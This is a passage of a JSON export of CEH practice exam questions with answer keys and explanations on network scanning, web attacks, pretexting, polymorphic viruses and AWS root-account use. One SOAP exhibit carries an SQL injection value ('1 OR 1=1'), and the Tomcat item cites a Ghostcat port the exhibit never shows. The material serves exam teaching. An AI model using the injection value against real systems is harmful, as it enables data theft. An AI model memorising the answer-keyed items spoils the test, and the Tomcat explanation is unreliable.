verification.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:29.029+00:00","questionType":"multiple_choice"},{"id":"e88625b8-81f7-43be-9c25-570459682206","slug":"a-company-wants-to-test-the-security-of-its-web-application-j3bru","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A company wants to test the security of its web application by simulating attacks from an external perspective. They have no prior knowledge of the internal network or application architecture. Which type of test should they perform?","difficulty":"easy","domain":"Introduction to Ethical Hacking","domainSlug":"intro-ethical-hacking","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Black-box test","explanation":"Black-box test simulates an external attacker with no prior knowledge.","masteryContext":""},{"key":"B","isCorrect":false,"text":"White-box test","explanation":"White-box test provides full knowledge of the system.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Red team engagement","explanation":"Red team engagement is a full-scope adversarial simulation, not just a test type.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Gray-box test","explanation":"Gray-box test provides partial knowledge.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"A black-box test is the correct choice because the company has no prior knowledge of the internal network or application architecture. This simulates an external attacker with zero insider information, testing the application from an outsider's perspective without access to source code, network diagrams, or credentials. The test relies solely on publicly available information and direct interaction with the application's interfaces.","examTrap":"The trap here is that candidates often confuse 'black-box test' with 'red team engagement', but red team engagements are broader and may include internal knowledge or physical attacks, whereas a black-box test strictly limits information to what is publicly available.","examTip":null,"technicalDeepDive":"In a black-box web application test, the tester uses tools like Burp Suite or OWASP ZAP to perform reconnaissance (e.g., WHOIS, DNS enumeration) and then probes for vulnerabilities such as SQL injection (via parameter tampering) or XSS (via input fields). The tester has no access to server-side code or database schemas, relying on HTTP response analysis and error messages to infer backend behavior. This approach mirrors real-world attacks where adversaries have only the public-facing attack surface.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:18:38.195+00:00","questionType":"multiple_choice"},{"id":"b265031f-fce3-40a1-8fc8-31a462fc7f58","slug":"based-on-the-nmap-scan-output-which-service-is-most-likely-jl3xa","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Based on the Nmap scan output, which service is most likely vulnerable to remote code execution?","difficulty":"hard","domain":"Vulnerability Analysis and System Hacking","domainSlug":"vuln-analysis-hacking","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"MAC Address 00:1A:2B:3C:4D:5E","explanation":"MAC address is not a service.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Apache httpd 2.4.18","explanation":"Apache 2.4.18 has vulnerabilities but not typically RCE.","masteryContext":""},{"key":"C","isCorrect":false,"text":"OpenSSH 7.2p2","explanation":"OpenSSH 7.2p2 has vulnerabilities but not commonly RCE.","masteryContext":""},{"key":"D","isCorrect":true,"text":"Apache Tomcat 8.5.5","explanation":"Tomcat 8.5.5 is vulnerable to Ghostcat (CVE-2020-1938) which allows RCE.","masteryContext":""}],"correctOptionKey":"D","correctOptions":["D"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Apache Tomcat 8.5.5 is known to be vulnerable to remote code execution (RCE) via the Ghostcat vulnerability (CVE-2020-1938), which exploits the AJP connector on port 8009. This allows an attacker to read or execute arbitrary files on the server, making it the most likely candidate for RCE among the listed services.","examTrap":"EC-Council often tests the misconception that a common service like Apache httpd or OpenSSH is the most vulnerable, but the trap here is that the AJP connector on Tomcat (port 8009) is frequently overlooked, yet it provides a direct path to RCE via Ghostcat.","examTip":null,"technicalDeepDive":"The Ghostcat vulnerability (CVE-2020-1938) in Apache Tomcat 8.5.5 leverages the AJP (Apache JServ Protocol) connector, which by default listens on TCP port 8009. An attacker can send a crafted AJP request with a manipulated 'javax.servlet.include.request_uri' attribute to read or execute files outside the web root, including web application configuration files or even deploy malicious code. This attack does not require authentication and can be executed with tools like Metasploit or custom Python scripts, making it a critical risk in internal network scans.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":"Refer to the exhibit.\n\n```\n$ nmap -sV -p 22,80,443,8080 192.168.1.10\nStarting Nmap 7.80 ( https://nmap.org ) at 2025-01-15 10:00 UTC\nNmap scan report for 192.168.1.10\nHost is up (0.0010s latency).\n\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10\n80/tcp open http Apache httpd 2.4.18 ((Ubuntu))\n443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))\n8080/tcp open http Apache Tomcat 8.5.5\nMAC Address: 00:1A:2B:3C:4D:5E (Unknown)\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/\nNmap done: 1 IP address (1 host up) scanned in 12.34 seconds\n```","exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.166+00:00","questionType":"multiple_choice"},{"id":"3e2a799f-8929-4686-b691-e494277b93b0","slug":"refer-to-the-exhibit-an-nmap-scan-shows-that-port-80-is-fi-pojq2","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Refer to the exhibit. An Nmap scan shows that port 80 is 'filtered' while ports 22 and 443 are 'open'. What does the 'filtered' state indicate?","difficulty":"medium","domain":"Scanning Networks and Enumeration","domainSlug":"scanning-enumeration","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"The port is closed and the target sent a RST packet.","explanation":"Closed ports send RST, which Nmap reports as 'closed'.","masteryContext":""},{"key":"B","isCorrect":false,"text":"The port is open but the service is not responding to the scan.","explanation":"If open, Nmap would detect a SYN/ACK response.","masteryContext":""},{"key":"C","isCorrect":false,"text":"The port is open but Nmap cannot determine the service.","explanation":"Nmap distinguishes filtered from unfiltered; unfiltered means open/closed but no version.","masteryContext":""},{"key":"D","isCorrect":true,"text":"A firewall, router rule, or host-based firewall is blocking the probes.","explanation":"Filtered indicates that probes are being dropped or blocked.","masteryContext":""}],"correctOptionKey":"D","correctOptions":["D"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"When Nmap reports a port as 'filtered', it means that the scan probes (e.g., SYN packets) were dropped or blocked before reaching the target service, typically by a firewall, router ACL, or host-based firewall. Unlike 'open' (which receives a SYN/ACK) or 'closed' (which receives a RST), 'filtered' indicates no response or an ICMP unreachable message, so Nmap cannot confirm whether the port is actually open or closed.","examTrap":"The trap here is that candidates often confuse 'filtered' with 'closed' or 'open', not realizing that 'filtered' specifically indicates a firewall or ACL is interfering with the probe, not the state of the service itself.","examTip":null,"technicalDeepDive":"In a TCP SYN scan (-sS), Nmap sends a SYN packet to the target port. If a firewall silently drops the packet (no response), Nmap retransmits and eventually marks the port as 'filtered'. If an ICMP Type 3 Code 13 (administratively prohibited) is received, Nmap also marks it 'filtered'. This behavior is defined in the Nmap source code and RFC 1122; real-world scenarios include cloud security groups or iptables rules that drop inbound traffic to port 80 while allowing 22 and 443.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":"Refer to the exhibit.\n```\nStarting Nmap 7.92 ( https://nmap.org ) at 2025-03-25 14:22 EDT\nNmap scan report for 10.10.1.45\nHost is up (0.045s latency).\nNot shown: 997 closed tcp ports (reset)\nPORT STATE SERVICE\n22/tcp open ssh\n80/tcp filtered http\n443/tcp open https\n```","exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:16:41.253+00:00","questionType":"multiple_choice"},{"id":"00e4536f-8ace-4b97-a7ea-a399370f429c","slug":"you-are-performing-a-web-application-security-assessment-and-mcasv","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"You are performing a web application security assessment and discover that the application uses a hidden form field named 'price' to store the product price. The price is submitted with the form and used to process payments. Which attack would allow you to purchase an item for a lower price?","difficulty":"hard","domain":"Network and Web Application Attacks","domainSlug":"network-webapp-attacks","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Directory traversal","explanation":"Directory traversal accesses files, not form parameters.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Parameter tampering","explanation":"Parameter tampering modifies hidden fields or URL parameters.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Cross-Site Scripting (XSS)","explanation":"XSS injects scripts, not modifies form values.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Cross-Site Request Forgery (CSRF)","explanation":"CSRF makes unauthorized requests, but does not modify the price.","masteryContext":""}],"correctOptionKey":"B","correctOptions":["B"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Parameter tampering is the correct answer because the 'price' field is stored in a hidden form field, which is client-side data that can be modified before submission. By intercepting the HTTP request (e.g., using a proxy like Burp Suite) and changing the 'price' value to a lower amount, the attacker can purchase the item at a reduced cost. This exploits the lack of server-side validation of the price parameter.","examTrap":"The trap here is that candidates often confuse parameter tampering with CSRF, but CSRF does not allow modifying the request body; it only reuses existing parameters from a forged request, whereas parameter tampering directly alters the parameter value.","examTip":null,"technicalDeepDive":"Under the hood, hidden form fields are stored in the HTML DOM as and are submitted as part of the HTTP POST body. Tools like Burp Suite's Repeater or a simple browser extension can intercept and modify the POST request before it reaches the server. In a real-world scenario, this vulnerability is common in e-commerce applications where price validation is only performed client-side via JavaScript, and the server blindly trusts the submitted value, leading to financial loss.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:12:33.857+00:00","questionType":"multiple_choice"},{"id":"26ddf129-34be-412f-98e8-0ecbee42278d","slug":"a-security-analyst-suspects-that-an-attacker-is-scanning-the-nz7nc","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A security analyst suspects that an attacker is scanning their network. They notice a large number of TCP SYN packets being sent to various ports on a single host, but no SYN-ACK responses are returned. Which type of scan is most likely being used?","difficulty":"medium","domain":"Introduction to Ethical Hacking","domainSlug":"intro-ethical-hacking","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"TCP connect scan","explanation":"TCP connect scan completes the handshake, so SYN-ACK would be received from open ports.","masteryContext":""},{"key":"B","isCorrect":false,"text":"UDP scan","explanation":"UDP scans send UDP datagrams, not TCP SYN packets.","masteryContext":""},{"key":"C","isCorrect":true,"text":"SYN scan","explanation":"SYN scan sends SYN packets; lack of SYN-ACK indicates filtered/closed ports.","masteryContext":""},{"key":"D","isCorrect":false,"text":"FIN scan","explanation":"FIN scan sends FIN packets, not SYN.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"C is correct because a SYN scan (also known as a half-open scan) sends TCP SYN packets to target ports and does not complete the three-way handshake. If no SYN-ACK is returned, it indicates the port is filtered or the host is not responding, which matches the scenario where the attacker receives no SYN-ACK responses. This scan is stealthier than a full TCP connect scan because it never establishes a full connection.","examTrap":"The trap here is that candidates often confuse SYN scan with TCP connect scan, thinking that any TCP scan must complete the handshake, but the key distinction is that SYN scan never sends the final ACK, making it half-open and stealthier.","examTip":null,"technicalDeepDive":"In a SYN scan, the attacker sends a SYN packet and if the port is open, the target responds with SYN-ACK; the attacker then sends a RST to tear down the connection, never completing the handshake. If no SYN-ACK is received, it could mean the port is filtered by a firewall, the host is down, or the packet was dropped. This scan is defined in RFC 793 and is commonly used in tools like Nmap with the -sS flag, but modern intrusion detection systems (IDS) can detect the pattern of multiple SYN packets without subsequent ACKs.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:17:35.298+00:00","questionType":"multiple_choice"},{"id":"ed50d107-6720-484f-aa1e-f699dfa0148b","slug":"which-two-of-the-following-are-characteristics-of-a-polymorp-m27ee","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which TWO of the following are characteristics of a polymorphic virus? (Choose two.)","difficulty":"easy","domain":"Cryptography and Malware Analysis","domainSlug":"cryptography-malware","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Remains constant in code to ensure replication","explanation":"Polymorphic viruses change constantly.","masteryContext":""},{"key":"B","isCorrect":true,"text":"Mutates its code to evade signature detection","explanation":"Polymorphic viruses change their code pattern each time they replicate.","masteryContext":""},{"key":"C","isCorrect":true,"text":"Uses encryption with a variable key","explanation":"Polymorphic viruses often use a variable encryption key to change the decrypted code.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Spreads via network shares","explanation":"That is typical of worms, not specifically polymorphic viruses.","masteryContext":""},{"key":"E","isCorrect":false,"text":"Resides in the boot sector of a hard drive","explanation":"That describes a boot sector virus.","masteryContext":""}],"correctOptionKey":"B,C","correctOptions":["B","C"],"correctAnswerText":"","isMultiSelect":true,"mainExplanation":"Option B is correct because a polymorphic virus mutates its code—typically by using a mutation engine—while preserving its original functionality. This mutation changes the virus's signature each time it replicates, allowing it to evade signature-based detection by antivirus software. Option C is correct because polymorphic viruses commonly use encryption with a variable key; the virus body is encrypted, and the decryption routine mutates, so the encrypted payload looks different with each infection.","examTrap":"The trap here is that candidates often confuse 'polymorphic' with 'metamorphic' or assume that all viruses that use encryption are polymorphic, but the key distinction is that polymorphic viruses use a variable key and mutate the decryption routine, whereas simple encrypted viruses use a fixed key and do not change their decryptor.","examTip":null,"technicalDeepDive":"Under the hood, a polymorphic virus includes a mutation engine that generates new decryption routines and re-encrypts the virus body with a different key each time. This means the virus's binary pattern changes on every infection, but the decryption engine must remain functional—often using obfuscation techniques like garbage code insertion or instruction substitution. In real-world scenarios, advanced polymorphic malware like the 'Storm Worm' used this technique to evade early antivirus signatures, requiring heuristic or behavioral analysis to detect.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:22:07.453+00:00","questionType":"multi_select"},{"id":"2d867355-1f80-4e2d-a9d8-243724126011","slug":"refer-to-the-exhibit-a-security-analyst-reviews-a-cloudtrai-g72un","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Refer to the exhibit. A security analyst reviews a CloudTrail log entry. What is the primary security concern indicated by this log?","difficulty":"easy","domain":"Wireless, IoT and Cloud Security","domainSlug":"wireless-iot-cloud","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"The action was performed by the AWS root account, which should be avoided for routine tasks.","explanation":"Root should only be used for specific tasks.","masteryContext":""},{"key":"B","isCorrect":false,"text":"The AMI ID (ami-0abcdef1234567890) is from a trusted source.","explanation":"Not a concern.","masteryContext":""},{"key":"C","isCorrect":false,"text":"The source IP address (203.0.113.5) is suspicious.","explanation":"IP address is not inherently suspicious.","masteryContext":""},{"key":"D","isCorrect":false,"text":"The instance type is t2.micro, which may be vulnerable.","explanation":"Instance type is not a security concern.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The log entry shows that the action was performed by the AWS root account (userIdentity.type: Root). AWS best practices mandate that the root account be used only for tasks that require it, such as changing account settings or closing the account. Routine operations like launching an EC2 instance should be performed using IAM roles or users with least-privilege permissions. Using the root account for everyday actions increases the risk of credential compromise and violates the principle of least privilege.","examTrap":"EC-Council often tests the concept that the root account should never be used for routine tasks, and candidates may mistakenly focus on the AMI ID, source IP, or instance type as potential threats, overlooking the critical security violation of root account usage.","examTip":null,"technicalDeepDive":"AWS CloudTrail logs capture API calls made to the AWS environment, including the user identity, source IP, and action details. The root account has unrestricted access to all resources, and if its credentials are leaked, an attacker can perform any action, including deleting all resources or creating backdoor accounts. AWS recommends enabling multi-factor authentication (MFA) on the root account and using IAM roles for daily operations, as the root account lacks fine-grained access control and audit trails for individual users.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":"Refer to the exhibit.\n\n```\nCloudTrail Log:\n{\n \"eventVersion\": \"1.08\",\n \"userIdentity\": {\n \"type\": \"Root\",\n \"arn\": \"arn:aws:iam::123456789012:root\",\n \"accountId\": \"123456789012\"\n },\n \"eventTime\": \"2025-03-15T14:30:00Z\",\n \"eventSource\": \"ec2.amazonaws.com\",\n \"sourceIPAddress\": \"203.0.113.5\",\n \"userAgent\": \"console.amazonaws.com\",\n \"requestParameters\": {\n \"instanceType\": \"t2.micro\",\n \"imageId\": \"ami-0abcdef1234567890\",\n \"keyName\": \"test-key\"\n },\n \"responseElements\": {\n \"instancesSet\": {\n \"items\": [\n {\n \"instanceId\": \"i-0a1b2c3d4e5f67890\"\n }\n ]\n }\n },\n \"eventType\": \"AwsApiCall\"\n}\n```","exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:27.933+00:00","questionType":"multiple_choice"},{"id":"33521746-4bf1-49ea-9891-cf5208f10613","slug":"refer-to-the-exhibit-a-penetration-tester-sends-a-soap-requ-ex-ku2u","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Refer to the exhibit. A penetration tester sends a SOAP request and receives multiple user records. Which vulnerability is present?","difficulty":"hard","domain":"Network and Web Application Attacks","domainSlug":"network-webapp-attacks","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"SQL injection in SOAP service","explanation":"The userId parameter contains '1 OR 1=1', which results in returning all users, indicating SQL injection.","masteryContext":""},{"key":"B","isCorrect":false,"text":"XML External Entity (XXE) injection","explanation":"XXE exploits external entity parsing to read files or perform SSRF, not SQL injection via SOAP.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Cross-site scripting (XSS)","explanation":"XSS involves client-side script injection, not server-side SQL injection.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Command injection","explanation":"Command injection involves OS commands, not SQL queries.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"","examTrap":null,"examTip":null,"technicalDeepDive":null,"keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":"\n\n \n \n 1 OR 1=1\n \n \n\n\nResponse:\n\n \n \n \n 1\n admin\n admin@test.com\n \n \n 2\n user\n user@test.com\n \n \n \n","exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-25T06:19:10.382746+00:00","questionType":"multiple_choice"},{"id":"26e1440a-accb-428e-926d-6554b0ea3993","slug":"a-penetration-tester-calls-an-employee-claiming-to-be-from-t-sia0d","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A penetration tester calls an employee claiming to be from the IT help desk and asks for their password to perform a 'security update'. The employee provides the password. Which social engineering technique is being used?","difficulty":"medium","domain":"Social Engineering and Physical Security","domainSlug":"social-eng-physical","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Pretexting","explanation":"Pretexting uses a fabricated scenario to obtain information.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Tailgating","explanation":"Tailgating requires physical following, not a phone call.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Quid pro quo","explanation":"Quid pro quo involves offering a service or benefit in exchange for information.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Phishing","explanation":"Phishing is usually via email or fake websites.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The attacker is fabricating a scenario (IT help desk performing a security update) to manipulate the target into revealing sensitive information. This is the essence of pretexting, where the attacker creates a false identity or situation to gain trust and extract data. Unlike phishing, which typically uses malicious links or attachments, this attack relies purely on verbal impersonation and social manipulation.","examTrap":"The trap here is that candidates confuse pretexting with phishing because both involve deception, but phishing specifically uses electronic channels (email, fake login pages) while pretexting can occur over voice or in person without any technical payload.","examTip":null,"technicalDeepDive":"Pretexting often leverages caller ID spoofing to display a legitimate IT help desk number, increasing the victim's trust. In real-world engagements, attackers may research the target's organization structure (e.g., via LinkedIn) to use real names and department references, making the pretext more convincing. The CEH exam emphasizes that pretexting is distinct from phishing because it relies on a fabricated narrative rather than a technical lure.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:15:18.092+00:00","questionType":"multiple_choice"},{"id":"3b904dfa-b711-4764-bf6b-38ffef2d19d0","slug":"during-a-security-assessment-a-tester-uses-maltego-to-gathe-9ah1z","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During a security assessment, a tester uses Maltego to gather information about a target organization. Which type of reconnaissance is being performed?","difficulty":"easy","domain":"Footprinting, Reconnaissance and Scanning","domainSlug":"ceh-recon-scanning","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Passive reconnaissance","explanation":"Maltego gathers data from public sources (DNS, social media, etc.) without contacting the target, making it passive.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Active reconnaissance","explanation":"Active reconnaissance involves direct interaction with the target (e.g., port scanning). Maltego does not send packets to the target.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Vulnerability scanning","explanation":"Vulnerability scanning actively probes systems for weaknesses; Maltego does not scan for vulnerabilities.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Social engineering","explanation":"Social engineering involves manipulating people; Maltego does not interact with humans.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Maltego is a tool that collects publicly available information from sources like DNS records, WHOIS databases, and social media without directly interacting with the target's systems. This aligns with passive reconnaissance, which relies on open-source intelligence (OSINT) and does not send any packets to the target's network. The CEH defines passive reconnaissance as gathering information without engaging the target, making option A correct.","examTrap":"EC-Council often tests the distinction between passive and active reconnaissance by presenting tools like Maltego or theHarvester as passive, while candidates mistakenly classify them as active due to the tool's interactive GUI or data aggregation features.","examTip":null,"technicalDeepDive":"Maltego operates by querying public APIs and databases (e.g., Shodan, Have I Been Pwned, DNS records) using transforms, which are modular scripts that fetch data without sending packets to the target's infrastructure. A subtle behavior is that Maltego can also integrate with passive DNS databases like PassiveTotal, which record historical DNS queries without triggering alerts on the target's DNS servers. In a real-world scenario, a tester might use Maltego to map an organization's email addresses and domain names before launching a targeted phishing campaign, ensuring no direct contact with the target's network.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:29.948+00:00","questionType":"multiple_choice"},{"id":"f88af5a9-7ac2-4e4c-92c7-853b49dc81ba","slug":"which-of-the-following-tools-is-specifically-designed-to-aut-xkfap","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Which of the following tools is specifically designed to automate the process of detecting and exploiting SQL injection vulnerabilities in web applications?","difficulty":"easy","domain":"Web Application and Injection Attacks","domainSlug":"ceh-web-injection","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Burp Suite","explanation":"Burp Suite is a web proxy and testing platform, but it does not automate SQL injection like SQLMap does.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Metasploit","explanation":"Metasploit is a penetration testing framework, but for SQL injection specifically, SQLMap is more focused.","masteryContext":""},{"key":"C","isCorrect":true,"text":"SQLMap","explanation":"SQLMap is the standard tool for automated SQL injection detection and exploitation.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Nmap","explanation":"Nmap is a network scanning tool, not specialized for SQL injection.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"SQLMap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection flaws. It supports a wide range of database backends and injection techniques, making it the go-to tool for this specific task.","examTrap":"EC-Council often tests the distinction between general-purpose security tools (like Burp Suite or Metasploit) and specialized automation tools (like SQLMap), leading candidates to choose a tool they recognize for web testing rather than the one specifically designed for SQL injection automation.","examTip":null,"technicalDeepDive":"SQLMap works by fingerprinting the database backend (e.g., MySQL, PostgreSQL, MSSQL) through error-based, blind, time-based, and UNION query techniques, then automating the extraction of data via crafted payloads. A subtle behavior is its ability to use '--os-shell' to gain a remote shell on the database server if the DBMS has sufficient privileges, which is often overlooked in basic assessments. In a real-world scenario, SQLMap can bypass weak WAF rules using tamper scripts that encode or obfuscate payloads.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:30.023+00:00","questionType":"multiple_choice"},{"id":"5888ff02-aa67-4c7e-9fcb-33799b934dc0","slug":"during-an-internal-penetration-test-you-are-tasked-with-enu-ixiwy","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During an internal penetration test, you are tasked with enumerating services on a target server. You run a full TCP port scan and find that ports 22 (SSH), 80 (HTTP), and 443 (HTTPS) are open. You then perform version detection on these ports. Which additional enumeration step would provide the most valuable information for identifying potential vulnerabilities?","difficulty":"hard","domain":"Scanning Networks and Enumeration","domainSlug":"scanning-enumeration","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":true,"text":"Perform banner grabbing on port 22 to identify the SSH version.","explanation":"SSH version information can reveal outdated versions with known exploits.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Perform SNMP enumeration to gather system information.","explanation":"SNMP service is not indicated as open; requires UDP port 161.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Attempt a DNS zone transfer from the server.","explanation":"DNS zone transfer is for DNS servers; the target is a web server.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Enumerate NetBIOS names using `nbtstat`.","explanation":"NetBIOS is typically Windows-only and requires specific ports not open.","masteryContext":""}],"correctOptionKey":"A","correctOptions":["A"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"Banner grabbing on port 22 (SSH) is the most valuable next step because it directly identifies the SSH server version (e.g., OpenSSH 7.4). Knowing the exact version allows you to cross-reference known vulnerabilities (CVEs) for that specific SSH implementation, which is a common high-risk attack vector during internal penetration tests. While version detection already identified 